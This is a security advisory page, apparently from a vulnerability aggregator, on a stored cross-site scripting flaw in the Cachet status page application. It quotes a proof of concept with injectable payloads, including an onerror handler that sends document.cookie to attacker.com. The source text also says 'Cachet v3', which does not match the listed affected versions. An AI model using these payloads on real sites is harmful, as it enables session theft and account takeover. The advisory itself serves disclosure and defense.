---
id: "CVE-2026-113712"
kind: "vulnerability"
aliases: ["CVE-2026-113712", "GHSA-x397-5hrv-j9m9"]
title: "Cachet has Stored XSS in Incident Component"
severity: "medium"
cvss: 4.8
epss: 0.0035500000230968
exploited: false
status: "open"
category: "package"
products: [{"name": "cachethq/cachet", "fixed": [], "affected": "<= 2.4.1", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["cachet", "cwe-79", "package", "php", "self-hosted", "status-page"]
not_affected_if: ["auth-required", "managed-hosting"]
published_at: "2026-10-20T19:17:33+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-x397-5hrv-j9m9", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113712", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# Cachet has Stored XSS in Incident Component

Cachet, a status page application, has a stored cross-site scripting flaw in the incident Name and Message fields: event-handler attributes such as onerror are not sanitized, so HTML injected by an authenticated user runs in the browser of anyone who views the public status page. An attacker can use this to steal session cookies or XSRF tokens and redirect visitors, including administrators.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:cachethq/cachet affected <= 2.4.1 fixed ?

## How to check

Check the installed version with composer show cachethq/cachet; versions 2.4.1 and below are listed as affected.
Review incident names and messages for HTML attributes such as onerror or onload.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-x397-5hrv-j9m9
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113712

## From the sources

### Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

### Details
The incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/
Affected fields: Incident Name, Incident Message
Affected version: Cachet v3

### PoC

1. Log in as an authenticated user
2. Navigate to /dashboard/incidents/
3. Create a new incident
4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution:
```<img src=x onerror="alert(1)">```

Step 2 — Cookie/token exfiltration:
```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">```

Step 3 — Forced redirect to sensitive page:
```<img src=x onerror="window.location='/dashboard/manage-customization'">```

5. Save the incident
6. Navigate to the public status page
7. Payload executes in the victim's browser
### Payload 1 
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

### Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />



Stored XSS affecting all users who view the public status page.

An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_